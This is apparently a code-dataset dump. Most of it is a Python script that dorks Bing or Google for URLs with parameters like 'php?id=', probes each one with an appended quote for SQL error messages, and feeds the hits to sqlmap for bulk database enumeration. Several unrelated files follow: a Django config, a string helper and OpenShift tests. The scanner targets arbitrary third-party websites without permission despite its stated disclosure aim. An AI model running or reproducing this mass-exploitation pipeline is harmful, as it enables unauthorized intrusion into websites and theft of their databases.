# GO GO GO main()

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0.497773

# Run sqlmap against urls # # License: # MIT - (c) 2016 ThomasTJ (TTJ) # import sys # Quit the shiat import os # Working with files and starting sqlmap import re # Searching web results for vuln import requests # Calling websites import urllib.parse # Parsing url encoding for search import shutil # Checking if SQLmap is installed import psutil # Checking possible VPN connection import http.client # Ping to check network connection import random # Shuffle between user agents import time # Printing time when scraping and checking urls from time import sleep # Multiple use cases, e.g. sleep between requests from bs4 import BeautifulSoup # Working with website date class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' ITALIC = '\x1B[3m' # Variables which needs to be defined filenameRawUrl = "0" filenameVulnUrl = "0" def LoadUserAgents(uafile="user_agents.txt"): # uafile : string, path to text file of user agents, one per line uas = [] with open(uafile, 'rb') as uaf: for ua in uaf.readlines(): if ua: uas.append(ua.strip()[1:-1-1]) random.shuffle(uas) return uas def inputSearchUrls(): print("\n" + bcolors.HEADER) print(" #===================================#") print(" # #") print(" # Find urls which might is vuln for #") print(" # SQL injections #") print(" # #") print(" #===================================#") print("\n" + bcolors.ENDC) print(" Basesearch could be: php?id=, php?cat=, e.g.\n") # ================================= # Base input # ================================= # @type basesearch: str # @param basesearch: Query string. Must NOT be url-encoded. basesearch = input(" Enter base search string: " + bcolors.OKBLUE) # @type searchprovider: str # @param searchprovider: Who should perform the search. searchprovider = input(bcolors.ENDC + " Bing or Google (b/g): " + bcolors.OKBLUE) if searchprovider.lower() not in ('b', 'g'): print(bcolors.WARNING + " - Wrong input - only 'b' and 'g' allowed. Using 'b'") searchprovider = 'b' # @type maxperpage: int/str (changed to string) # @param maxperpage: Max results returned per page maxperpage = input(bcolors.ENDC + " Results per page: " + bcolors.OKBLUE) if not maxperpage.isdigit(): print(bcolors.WARNING + " - Wrong input - only numeric values allowed. Using 20") maxperpage = 20 # @type maxpages: int # @param maxpages: Max pages to loop through maxpages = input(bcolors.ENDC + " Number of pages: " + bcolors.OKBLUE) if not maxpages.isdigit(): print(bcolors.WARNING + " - Wrong input - only numeric values allowed. Using 10") maxpages = 10 # @type startpage: int # @param startpage: First page to look in startpage = input(bcolors.ENDC + " Start pages: " + bcolors.OKBLUE) if not startpage.isdigit(): print(bcolors.WARNING + " - Wrong input - only numeric values allowed. Using 0") startpage = 0 if int(startpage) > 0: startpage = (int(startpage) - 1) # @type timeout: int # @param timeout: Sleep between request timeout = input(bcolors.ENDC + " Enter pause between requests: " + bcolors.OKBLUE) if not timeout.isdigit(): print(bcolors.WARNING + " - Wrong input - only numeric values allowed. Using 6") timeout = 6 # @type savesearch: str # @param savesearch: Save the shiat to a file savesearch = input(bcolors.ENDC + " Save search (y/N): " + bcolors.OKBLUE) if savesearch.lower() not in ('', 'y', 'n'): print(bcolors.WARNING + " - Wrong input - only 'y' and 'n' allowed. Using 'n'") savesearch = 'n' # @type filename: str # @param filename: Filename for file containing the search results if savesearch.lower() == "y": filename = input(bcolors.ENDC + " Filename for search: " + bcolors.OKBLUE) if not os.path.isfile(filename): os.mknod(filename) else: appendtofile = input(bcolors.ENDC + " File exists, append (Y/n): " + bcolors.OKBLUE) if appendtofile == "n": print(bcolors.WARNING + " - User disallowed appending to resultfile") print(bcolors.WARNING + " - Please try again with another filename") print(bcolors.WARNING + " - Exiting") sys.exit() else: filename = "" filename = "tmpurllist" # ================================= # Make variables ready to use # ================================= count = str(maxperpage) startpage = int(startpage) pages = (int(maxpages) + startpage) sleeptime = int(timeout) string = str(basesearch) stringurl = urllib.parse.quote_plus(string) print(bcolors.ENDC + "\n [*]:: Searching") print(bcolors.HEADER + bcolors.BOLD + "\n" + " [+] Results" + bcolors.ENDC) searchUrlForString(searchprovider, count, startpage, pages, sleeptime, string, stringurl, savesearch, filename) def searchUrlForString(searchprovider, count, startpage, pages, sleeptime, string, stringurl, savesearch, filename): # ================================= # Loop through pages # ================================= for start in range(startpage, pages): # try: # ========================= # Bing search # ========================= if searchprovider == "b": pagenr = int(start)*int(count)+1 address = "http://www.bing.com/search?q=instreamset:(url title):" + stringurl + "&count=" + count + "&first=" + str(pagenr) print(" [*] Page number: " + str(int(start)+1)) # Loading random useragent uas = LoadUserAgents() ua = random.choice(uas) # select a random user agent headers = {"Connection": "close", "User-Agent": ua} r = requests.get(address, headers=headers) soup = BeautifulSoup(r.text, 'lxml') for d in soup.find_all('h2'): for a in d.find_all('a', href=True): if string in a['href']: print( bcolors.OKGREEN + " [" + time.strftime("%H:%M:%S") + "] [+] " + a['href'] + bcolors.ENDC ) if filename: with open(filename, 'a') as file: file.write(a['href'] + "\n") elif "0.r.msn." in a['href']: pass else: pass sleep(sleeptime) # ========================= # Google search # ========================= elif searchprovider == "g": pagenr = int(start)*int(count) address = "https://www.google.dk/search?q=" + stringurl + "&num=" + count + "&start=" + str(pagenr) # address = "https://www.google.dk/search?q=inurl%3A" + stringurl + "&num=" + count + "&start=" + str(pagenr) print(" [*] Page number: " + str(int(start)+1)) # Loading random useragent uas = LoadUserAgents() ua = random.choice(uas) # select a random user agent headers = {"Connection": "close", "User-Agent": ua} r = requests.get(address, headers=headers) soup = BeautifulSoup(r.text, 'lxml') for d in soup.find_all('cite'): url = d.text if string in url: print( bcolors.OKGREEN + " [" + time.strftime("%H:%M:%S") + "] [+] " + url + bcolors.ENDC ) if filename == "y": with open(filename, 'a') as file: file.write(url + "\n") sleep(sleeptime) try: print("") # ============================= # Error, end, exit # ============================= except KeyboardInterrupt: print(bcolors.FAIL + " User input - Ctrl + c" + bcolors.ENDC) quitnow = input(bcolors.ENDC + bcolors.BOLD + " Exit program (y/N): " + bcolors.OKBLUE) if quitnow == "y": print(bcolors.ENDC + " // Exiting\n\n") sys.exit() else: print(bcolors.ENDC + " // Continuing\n\n") except: print(bcolors.FAIL + " ERROR!!! " + bcolors.ENDC) # ================================= # Done - sum it up # ================================= print("\n Done scraping") with open(filename) as f: resultsnumber = sum(1 for _ in f) if savesearch == "y": print(" Scraping saved in file: " + filename) print(" Total saved urls: " + str(resultsnumber)) else: print(" Total urls collected: " + str(resultsnumber)) # Check urls? Next function activates.. checkurls = input(bcolors.ENDC + "\n Would you like to check urls for vuln (Y/n): " + bcolors.OKBLUE) if checkurls.lower() not in ('', 'y', 'n'): print(bcolors.WARNING + " - Wrong input - only 'y' and 'n' allowed. Using 'y'") checkurls = "y" if checkurls == "n": print(bcolors.ENDC + " // Exiting\n\n") try: os.remove("tmpurllist") except OSError: pass sys.exit() else: checkUrlsForVuln(filename) def checkUrlsForVuln(filenameRawUrl): print("\n\n\n" + bcolors.HEADER) print(" #===============================#") print(" # #") print(" # Check if urls is vuln for #") print(" # SQL injection #") print(" # #") print(" #===============================#") print("\n" + bcolors.ENDC) # ================================= # Base input # ================================= # Base input if filenameRawUrl != "0": print(" Filepath from run is still in memory: " + filenameRawUrl) urlfileChoose = input(bcolors.ENDC + " (i)nput new filename, or (u)se from memory (i/U): " + bcolors.OKBLUE) if urlfileChoose not in ('i', 'u'): print(bcolors.WARNING + " - Using from memory") urlfileChoose = 'u' if urlfileChoose == 'u': urlfile = filenameRawUrl else: # @type urlfile: str # @param urlfile: File with the raw urls to check. urlfile = input(bcolors.ENDC + " Filename with urls: " + bcolors.OKBLUE) else: # @type urlfile: str # @param urlfile: File with the raw urls to check. urlfile = input(bcolors.ENDC + " Filename with urls: " + bcolors.OKBLUE) if not os.path.isfile(urlfile): print(bcolors.FAIL + " Specified file does not exist.") print(bcolors.FAIL + " Exiting") sys.exit() # @type verboseactive: str # @param verboseactive: Verboselevel. verboseactive = input(bcolors.ENDC + " Verboselevel (0, 1, 2): " + bcolors.OKBLUE) if not verboseactive: print(bcolors.WARNING + " - Wrong input - only numeric values allowed. Using 0") verboseactive = "0" # @type savesearch: str # @param savesearch: Save the scan to file. savesearch = input(bcolors.ENDC + " Save search (y/N): " + bcolors.OKBLUE) if savesearch.lower() not in ('', 'y', 'n'): print(bcolors.WARNING + " - Wrong input - only 'y' and 'n' allowed. Using 'y'") savesearch = 'y' # @type filename: str # @param filename: Filename for the shiat. if savesearch == "y": filename = input(bcolors.ENDC + " Filename for results: " + bcolors.OKBLUE) if not filename: print(bcolors.WARNING + " - Wrong input - using 'vulnurls' as filename") filename = "vulnurls" if not os.path.isfile(filename): os.mknod(filename) else: appendtofile = input(bcolors.ENDC + " File exists, append (Y/n): " + bcolors.OKBLUE) if appendtofile == "n": print(" User disallowed appending to resultfile") print(" Please try again with another filename") print(" Exiting") sys.exit() else: filename = "0" print(bcolors.ENDC + "\n [*]::Reading file\n") print(" [*] Connecting\n") # ================================= # Loop through urls and add a qoute # ================================= with open(urlfile) as fileorg: for line in fileorg: checkMY1 = 0 checkMY2 = 0 checkMY3 = 0 checkMY4 = 0 checkMS1 = 0 checkMS2 = 0 checkMS3 = 0 checkOR1 = 0 checkOR2 = 0 checkOR3 = 0 checkPO1 = 0 checkPO2 = 0 try: # Get data url = line + "'" print( " [" + time.strftime("%H:%M:%S") + "] [*] " + line.strip('\n') ) uas = LoadUserAgents() ua = random.choice(uas) headers = {"Connection": "close", "User-Agent": ua} r = requests.get(url, headers=headers) soup = BeautifulSoup(r.text, 'lxml') checkMY1 = len(soup.find_all(text=re.compile('check the manual that corresponds to your MySQL'))) checkMY2 = len(soup.find_all(text=re.compile('SQL syntax'))) checkMY3 = len(soup.find_all(text=re.compile('server version for the right syntax'))) checkMY4 = len(soup.find_all(text=re.compile('expects parameter 1 to be'))) checkMS1 = len(soup.find_all(text=re.compile('Unclosed quotation mark before the character string'))) checkMS2 = len(soup.find_all(text=re.compile('An unhanded exception occurred during the execution'))) checkMS3 = len(soup.find_all(text=re.compile('Please review the stack trace for more information'))) checkOR1 = len(soup.find_all(text=re.compile('java.sql.SQLException: ORA-00933'))) checkOR2 = len(soup.find_all(text=re.compile('SQLExceptionjava.sql.SQLException'))) checkOR3 = len(soup.find_all(text=re.compile('quoted string not properly terminated'))) checkPO1 = len(soup.find_all(text=re.compile('Query failed:'))) checkPO2 = len(soup.find_all(text=re.compile('unterminated quoted string at or near'))) if verboseactive == "1": print(" [V] Check1 MySQL found: " + str(checkMY1)) print(" [V] Check2 MySQL found: " + str(checkMY2)) print(" [V] Check3 MySQL found: " + str(checkMY3)) print(" [V] Check4 MySQL found: " + str(checkMY4)) print(" [V] Check5 MS SQL found: " + str(checkMS1)) print(" [V] Check6 MS SQL found: " + str(checkMS2)) print(" [V] Check7 MS SQL found: " + str(checkMS3)) print(" [V] Check8 Oracle found: " + str(checkOR1)) print(" [V] Check9 Oracle found: " + str(checkOR2)) print(" [V] Check10 Oracle found: " + str(checkOR3)) print(" [V] Check11 Postgre found: " + str(checkPO1)) print(" [V] Check12 Postgre found: " + str(checkPO2)) if verboseactive == "2": checkverMY1 = soup.find(text=re.compile('check the manual that corresponds to your MySQL')) checkverMY2 = soup.find(text=re.compile(r'SQL syntax')) checkverMY3 = soup.find(text=re.compile(r'server version for the right syntax')) checkverMY4 = soup.find(text=re.compile('expects parameter 1 to be')) print(" [V] Check1 MySQL found: " + str(checkverMY1).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check2 MySQL found: " + str(checkverMY2).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check3 MySQL found: " + str(checkverMY3).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check4 MySQL found: " + str(checkverMY4).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) checkverMS1 = soup.find(text=re.compile('Unclosed quotation mark before the character string')) checkverMS2 = soup.find(text=re.compile('An unhanded exception occurred during the execution')) checkverMS3 = soup.find(text=re.compile('Please review the stack trace for more information')) print(" [V] Check5 MS SQL found: " + str(checkverMS1).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check6 MS SQL found: " + str(checkverMS2).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check7 MS SQL found: " + str(checkverMS3).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) checkverOR1 = soup.find(text=re.compile('java.sql.SQLException: ORA-00933')) checkverOR2 = soup.find(text=re.compile('SQLExceptionjava.sql.SQLException')) checkverOR3 = soup.find(text=re.compile('quoted string not properly terminated')) print(" [V] Check8 Oracle found: " + str(checkverOR1).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check9 Oracle found: " + str(checkverOR2).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check10 Oracle found: " + str(checkverOR3).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) checkverPO1 = soup.find(text=re.compile('Query failed:')) checkverPO2 = soup.find(text=re.compile('unterminated quoted string at or near')) print(" [V] Check11 Postgre found: " + str(checkverPO1).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check12 Postgre found: " + str(checkverPO2).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) if (checkMY1 > 0 or checkMY2 > 0 or checkMY3 > 0 or checkMY4 > 0 or checkMS1 > 0 or checkMS2 > 0 or checkMS3 > 0 or checkOR1 > 0 or checkOR2 > 0 or checkOR3 > 0 or checkPO1 > 0 or checkPO2): print( bcolors.OKGREEN + "\n" + " Possible vuln url!" + "\n" + " [" + time.strftime("%H:%M:%S") + "] [+] " + line + bcolors.ENDC + "\n" ) if savesearch == "y": with open(filename, 'a') as file: file.write(line) else: print( bcolors.WARNING + " [" + time.strftime("%H:%M:%S") + "] [-] " + line + bcolors.ENDC ) except KeyboardInterrupt: print(bcolors.FAIL + " [X] " + line + bcolors.ENDC) quitnow = input(bcolors.ENDC + bcolors.BOLD + " Exit program (y/N): " + bcolors.OKBLUE) if quitnow == "y": print(bcolors.ENDC + " // Exiting\n\n") try: os.remove("tmpurllist") except OSError: pass sys.exit() else: print(bcolors.ENDC + " // Continuing\n\n") except: print(bcolors.FAIL + " [X] " + line + bcolors.ENDC) print("\n Done scanning urls") if savesearch == "y": with open(filename) as f: resultsnumber = sum(1 for _ in f) print(" Scraping saved in file: " + filename) print(" Total saved urls: " + str(resultsnumber)) if resultsnumber == 0: print(" No vuln urls, exiting\n\n") try: os.remove("tmpurllist") except OSError: pass sys.exit() checkurls = input(bcolors.ENDC + "\n Would you like to run the urls through sqlmap (y/N): " + bcolors.OKBLUE) if checkurls == "y": try: os.remove("tmpurllist") except OSError: pass scanUrlsSQLmap(filename) else: print(bcolors.ENDC + " // Exiting\n\n") try: os.remove("tmpurllist") except OSError: pass sys.exit() def scanUrlsSQLmap(filenameVulnUrl): print("\n\n\n" + bcolors.HEADER) print(" #===============================#") print(" # #") print(" # Scan urls with #") print(" # SQLmap #") print(" # #") print(" #===============================#") print("\n" + bcolors.ENDC) if shutil.which('sqlmap') is None: print(" SQLmap is not installed on system - can't go on.") print(" Install sqlmap and run command below (sudo pacman -S sqlmap, sudo apt-get install sqlmap, etc.)") print(" \nCommand:") print(" sqlmap -m \"" + filenameVulnUrl + "\n") else: if filenameVulnUrl == "0": print(" No filename in memory, please specify.") # @type urlfile: str # @param urlfile: File with the raw urls to check. filenameVulnUrl = input(bcolors.ENDC + " Filename with urls: " + bcolors.OKBLUE) if not os.path.isfile(filenameVulnUrl): print(bcolors.FAIL + " Specified file does not exist.") print(bcolors.FAIL + " Exiting") sys.exit() print(bcolors.ENDC + " SQLmap will be started with arguments dbs, batch, random-agent, 4xthreads.") fileDestination = (os.getcwd() + "/" + filenameVulnUrl) command = ('sqlmap -m ' + fileDestination + " --dbs --batch --random-agent --threads 4") print("Command to execute: " + command) input(bcolors.ENDC + " Press enter to continue\n") print(bcolors.ENDC + " Starting SQLmap - follow onscreen instructions") print(bcolors.BOLD + " Press Ctrl + c to exit\n\n\n") # RUN SQLMAP !! os.system(command) # Not implemented - specify saving destination # @type savingplace: str # @param savingplace: Who should perform the search. # savingplace = input(bcolors.ENDC + " Specify folder where results will be placed: " + bcolors.OKBLUE) # if savingplace not in ('b', 'g'): # print(bcolors.WARNING + " - Wrong input - only 'b' and 'g' allowed. Using 'b'") # savingplace = 'b' def helpme(): print("\n\n" + bcolors.HEADER) print(" .---. .---. .-''-. .---. .-------. ,---. ,---. .-''-. ") print(" | | |_ _| .'_ _ \ | ,_| \ _(`)_ \ | \ / | .'_ _ \ ") print(" | | ( ' ) / ( ` ) ',-./ ) | (_ o._)| | , \/ , | / ( ` ) ' ") print(" | '-(_{;}_). (_ o _) |\ '_ '`) | (_,_) / | |\_ /| |. (_ o _) | ") print(" | (_,_) | (_,_)___| > (_) ) | '-.-' | _( )_/ | || (_,_)___| ") print(" | _ _--. | ' \ .---.( . .-' | | | (_ o _) | |' \ .---. ") print(" |( ' ) | | \ `-' / `-'`-'|___ | | | (_,_) | | \ `-' / ") print(" (_{;}_)| | \ / | \/ ) | | | | \ / ") print(" '(_,_) '---' `'-..-' `--------``---' '--' '--' `'-..-' ") print("\n\n" + bcolors.ENDC) print(" This python script is developed to show, how many vulnerables websites,") print(" which are laying around on the web. The main focus of the script is to") print(" generate a list of vuln urls. Please use the script with causing and") print(" alert the webadmins of vulnerable pages. The SQLmap implementation is") print(" just for showcasing.") print("") print(" The script is divided into 3 main sections.\n") print(bcolors.BOLD + " # Section 1" + bcolors.ENDC) print(" In this section you have to provide a search string, which 'connects' to") print(" the websites database, e.g. 'php?id='. The script then crawls") print(" Bing or Google for urls containing it. All of the urls can then be saved") print(" into a file. (Please be aware that you might get banned for crawling to") print(" fast, remember an appropriate break/sleep between request).") print(bcolors.ITALIC + " Example of searchs: php?bookid=, php?idproduct=, php?bookid=, php?catid=,") print(" php?action=, php?cart_id=, php?title=, php?itemid=" + bcolors.ENDC) print("") print(bcolors.BOLD + " # Section 2" + bcolors.ENDC) print(" This section adds a qoute ' to the websites url. If the website is") print(" prone to SQL injection, we'll catch this with some predefined error") print(" messages. The script will not add websites for blind SQL injections,") print(" due to the predefined error messages.") print("") print(bcolors.BOLD + " # Section 3" + bcolors.ENDC) print(" This is just an activation of sqlmap with the bulk argument and no") print(" user interaction for validation of SQL injection.") print("") print("\n") print(bcolors.BOLD + " Stay safe and help the vulnerables" + bcolors.ENDC) print("\n") sys.exit() def checkConnection(): # Header request for net connectivity print(bcolors.ENDC + "\n [*] Checking network connection" + bcolors.ENDC) conn = http.client.HTTPConnection("www.microsoft.com", 80) try: conn.request("HEAD", "/") print(bcolors.OKGREEN + " [+] Network connection seems OK" + bcolors.ENDC) except: print(bcolors.FAIL + " [-] Network connection seems down" + bcolors.ENDC) # Checking for tun0 or ppp print(bcolors.ENDC + " [*] Checking VPN connection" + bcolors.ENDC) if re.match(r'tun.', 'tun') or re.match(r'ppp.', 'ppp') not in psutil.net_if_addrs(): print(bcolors.WARNING + " [-] No indication of a VPN connection on tun or ppp found.") choice = input(bcolors.ENDC + " Continue (y/N): " + bcolors.OKBLUE) if choice.lower() == "y": print(bcolors.ENDC + " ") else: sys.exit() else: print(bcolors.OKGREEN + " [+] Indications of a VPN. Good. Will continue." + bcolors.ENDC) startpage() def startpage(): print("\n") print(bcolors.BOLD + " Please choose your weapon of mass destruction:") print(bcolors.BOLD + " 1" + bcolors.ENDC + " - Scrape the web for possible vuln urls") print(bcolors.BOLD + " 2" + bcolors.ENDC + " - Check the urls for vulnerabilities") print(bcolors.BOLD + " 3" + bcolors.ENDC + " - Bulk exploit urls with sqlmap") print(bcolors.BOLD + " 4" + bcolors.ENDC + " - Help me") print("\n") # @type choice: str # @param choice: Weapon of massdestruction choice = input(bcolors.ENDC + " Enter choice numer (1, 2, 3, 4): " + bcolors.OKBLUE) if not choice.isdigit(): print(bcolors.WARNING + " - Wrong input - only 1, 2, 3 and 4 allowed") print(" - Exiting\n") sys.exit() if choice not in ('1', '2', '3', '4'): print(bcolors.WARNING + " - Wrong input - only 1, 2, 3 and 4 allowed") print(" - Exiting\n") sys.exit() if choice == "1": inputSearchUrls() elif choice == "2": checkUrlsForVuln(filenameRawUrl) elif choice == "3": scanUrlsSQLmap(filenameVulnUrl) elif choice == "4": helpme() def main(): os.system('clear') print("\n\n") print(" _____ __ _____ ____ __ _ _ __ _ ") print(" / __(_)___ ____/ / / ___// __ \ / / (_)___ (_)__ _____/ /_(_)___ ____ ") print(" / /_/ / __ \/ __ / \__ \/ / / / / / / / __ \ / / _ \/ ___/ __/ / __ \/ __ |") print(" / __/ / / / / /_/ / ___/ / /_/ / / /___ / / / / / / / __/ /__/ /_/ / /_/ / / / /") print(" /_/ /_/_/ /_/\__,_/ /____/\___\_\/_____/ /_/_/ /_/_/ /\___/\___/\__/_/\____/_/ /_/ ") print(" /___/ ") print("\n\n") checkConnection() # GO GO GO main()

true

790c945b942734c8447cae4a5be22ceb46f4e28d

95

py

Python

SimpleNews/apps.py

cww97/newsChain

1243c47176ddfa680a69da0d325056698b11ad59

[ "WTFPL" ]

null

SimpleNews/apps.py

cww97/newsChain

1243c47176ddfa680a69da0d325056698b11ad59

[ "WTFPL" ]

2

2020-04-30T14:43:42.000Z

2020-07-19T14:37:34.000Z

SimpleNews/apps.py

cww97/newsChain

1243c47176ddfa680a69da0d325056698b11ad59

[ "WTFPL" ]

null

from django.apps import AppConfig class SimplenewsConfig(AppConfig): name = 'SimpleNews'

15.833333

34

0.768421

from django.apps import AppConfig class SimplenewsConfig(AppConfig): name = 'SimpleNews'

true

790c951b07f4f5575656be117cc473bed050b786

501

py

Python

utils.py

domorelivelonger/rss-telegram-bot

c1bc3b2c9219eaeb4daa186874675128ee5386af

[ "MIT" ]

1

2021-08-31T16:52:46.000Z

utils.py

domorelivelonger/rss-telegram-bot

c1bc3b2c9219eaeb4daa186874675128ee5386af

[ "MIT" ]

null

utils.py

domorelivelonger/rss-telegram-bot

c1bc3b2c9219eaeb4daa186874675128ee5386af

[ "MIT" ]

null

# Get substring using 'start' and 'end' position. def get_substring_or_empty(data, start, end=''): if start in data: if '' == start: f = 0 else: f = len(start) f = data.find(start) + f data = data[f:] else: return '' if end in data: if '' == end: f = len(data) else: f = data.find(end) data = data[:f] else: return '' data = data.strip() return data

20.04

49

0.447106

def get_substring_or_empty(data, start, end=''): if start in data: if '' == start: f = 0 else: f = len(start) f = data.find(start) + f data = data[f:] else: return '' if end in data: if '' == end: f = len(data) else: f = data.find(end) data = data[:f] else: return '' data = data.strip() return data

true

790c95727d163da9103c29441e784b656b234fcd

4,274

py

Python

tests/integration/benchmark_runner/common/oc/test_oc_without_operator.py

RobertKrawitz/benchmark-runner

671fd638ba139d74a3356673ad27b78b35a6a66a

[ "Apache-2.0" ]

10

2021-07-21T21:44:20.000Z

2022-02-24T22:01:13.000Z

tests/integration/benchmark_runner/common/oc/test_oc_without_operator.py

RobertKrawitz/benchmark-runner

671fd638ba139d74a3356673ad27b78b35a6a66a

[ "Apache-2.0" ]

83

2021-07-20T14:37:44.000Z

2022-03-24T13:48:04.000Z

tests/integration/benchmark_runner/common/oc/test_oc_without_operator.py

RobertKrawitz/benchmark-runner

671fd638ba139d74a3356673ad27b78b35a6a66a

[ "Apache-2.0" ]

6

2021-07-14T21:12:48.000Z

2022-02-15T12:48:27.000Z

# Tests that are not required benchmark-operator pod from benchmark_runner.common.oc.oc import OC from tests.integration.benchmark_runner.test_environment_variables import * import tempfile import tarfile import time from benchmark_runner.common.prometheus.prometheus_snapshot import PrometheusSnapshot def test_oc_get_ocp_server_version(): """ This method get ocp server version :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_ocp_server_version() def test_oc_get_kata_version(): """ This method gets the sandboxed containers (kata) version :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_kata_version() def test_oc_get_cnv_version(): """ This method get cnv version :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_cnv_version() def test_oc_get_ocs_version(): """ This method get ocs version :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_ocs_version() def test_oc_get_master_nodes(): """ This method test get master nodes :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_master_nodes() def test_login(): """ This method test login :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) assert oc.login() def test_oc_get_pod_name(): """ This test run oc get pod by name :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) assert oc._get_pod_name(pod_name='erererer', namespace=test_environment_variable['namespace']) == '' def test_oc_get_pods(): """ This test run oc get pods :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) assert oc.get_pods() def test_get_prom_token(): """ This method return prom token from cluster :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_prom_token() def test_is_cnv_installed(): """ This method check if cnv operator is installed :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.is_cnv_installed() def test_is_kata_installed(): """ This method checks if the sandboxed containers (kata) operator is installed :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.is_kata_installed() def test_is_ocs_installed(): """ This method check if ocs operator is installed :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.is_ocs_installed() def test_is_kata_installed(): """ This method check if kata operator is installed :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.is_kata_installed() def test_oc_exec(): """ Test that oc exec works :return: """ test_message = "I am here" oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() answer = oc.exec(pod_name="prometheus-k8s-0", namespace="openshift-monitoring", container='prometheus', command=f'echo "{test_message}"') assert answer == test_message def test_collect_prometheus(): """ Test that Prometheus data can be collected. TBD test that data is valid. :return: """ oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() with tempfile.TemporaryDirectory() as dirname: snapshot = PrometheusSnapshot(oc=oc, artifacts_path=dirname, verbose=True) snapshot.prepare_for_snapshot(pre_wait_time=1) time.sleep(10) tarball = snapshot.retrieve_snapshot(post_wait_time=1) assert tarfile.is_tarfile(tarball)

26.060976

141

0.704024

from benchmark_runner.common.oc.oc import OC from tests.integration.benchmark_runner.test_environment_variables import * import tempfile import tarfile import time from benchmark_runner.common.prometheus.prometheus_snapshot import PrometheusSnapshot def test_oc_get_ocp_server_version(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_ocp_server_version() def test_oc_get_kata_version(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_kata_version() def test_oc_get_cnv_version(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_cnv_version() def test_oc_get_ocs_version(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_ocs_version() def test_oc_get_master_nodes(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_master_nodes() def test_login(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) assert oc.login() def test_oc_get_pod_name(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) assert oc._get_pod_name(pod_name='erererer', namespace=test_environment_variable['namespace']) == '' def test_oc_get_pods(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) assert oc.get_pods() def test_get_prom_token(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.get_prom_token() def test_is_cnv_installed(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.is_cnv_installed() def test_is_kata_installed(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.is_kata_installed() def test_is_ocs_installed(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.is_ocs_installed() def test_is_kata_installed(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() assert oc.is_kata_installed() def test_oc_exec(): test_message = "I am here" oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() answer = oc.exec(pod_name="prometheus-k8s-0", namespace="openshift-monitoring", container='prometheus', command=f'echo "{test_message}"') assert answer == test_message def test_collect_prometheus(): oc = OC(kubeadmin_password=test_environment_variable['kubeadmin_password']) oc.login() with tempfile.TemporaryDirectory() as dirname: snapshot = PrometheusSnapshot(oc=oc, artifacts_path=dirname, verbose=True) snapshot.prepare_for_snapshot(pre_wait_time=1) time.sleep(10) tarball = snapshot.retrieve_snapshot(post_wait_time=1) assert tarfile.is_tarfile(tarball)

true

790c95ac63865502589c094f74b76d70fd67aee3

15,667

py

Python

dipper/sources/Panther.py

putmantime/dipper

583d76207877096a84a98a379c904ea9c960c400

[ "BSD-3-Clause" ]

null

dipper/sources/Panther.py

putmantime/dipper

583d76207877096a84a98a379c904ea9c960c400

[ "BSD-3-Clause" ]

null

dipper/sources/Panther.py

putmantime/dipper

583d76207877096a84a98a379c904ea9c960c400

[ "BSD-3-Clause" ]

1

2022-01-04T14:34:33.000Z

